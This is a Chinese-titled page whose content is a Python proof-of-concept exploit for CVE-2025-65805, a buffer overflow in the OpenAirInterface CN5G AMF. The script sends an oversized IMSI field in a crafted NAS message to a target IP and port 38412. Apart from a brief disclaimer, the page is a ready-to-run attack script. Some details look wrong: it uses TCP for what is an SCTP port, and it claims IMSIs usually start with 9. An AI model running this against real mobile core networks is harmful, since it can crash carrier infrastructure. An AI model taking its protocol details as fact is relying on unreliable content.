CVE-2025-65805 OpenAirInterface CN5G AMF缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-65805 PoC - OpenAirInterface CN5G AMF Buffer Overflow Note: This PoC is for educational and authorized security testing only. """ import socket import struct import sys def create_nas_message_with_long_imsi(imsi_length=1500): """Construct a NAS message with oversized IMSI field""" # NAS message header nas_header = bytes([0x00, 0x01, 0x02, 0x03]) # IMSI field with excessive length (triggering overflow) long_imsi = b'9' * imsi_length # IMSI typically starts with digit 9 # Construct the malformed NAS message nas_message = nas_header + long_imsi return nas_message def exploit_amf_buffer_overflow(target_ip, target_port=38412): """ Send malicious NAS message to AMF N1 interface Args: target_ip: AMF server IP address target_port: N1 interface port (default 38412) """ try: print(f"[*] Connecting to AMF at {target_ip}:{target_port}") # Create malicious payload payload = create_nas_message_with_long_imsi(1500) print(f"[*] Sending malicious NAS message ({len(payload)} bytes)") print(f"[*] IMSI field length: 1500 bytes (exceeds 1000 byte limit)") # Establish connection and send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) print("[+] Payload sent successfully") print("[!] Target may be crashed or code execution achieved") sock.close() return True except socket.timeout: print("[-] Connection timeout - target may be vulnerable and blocking") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit_amf_buffer_overflow(target, port)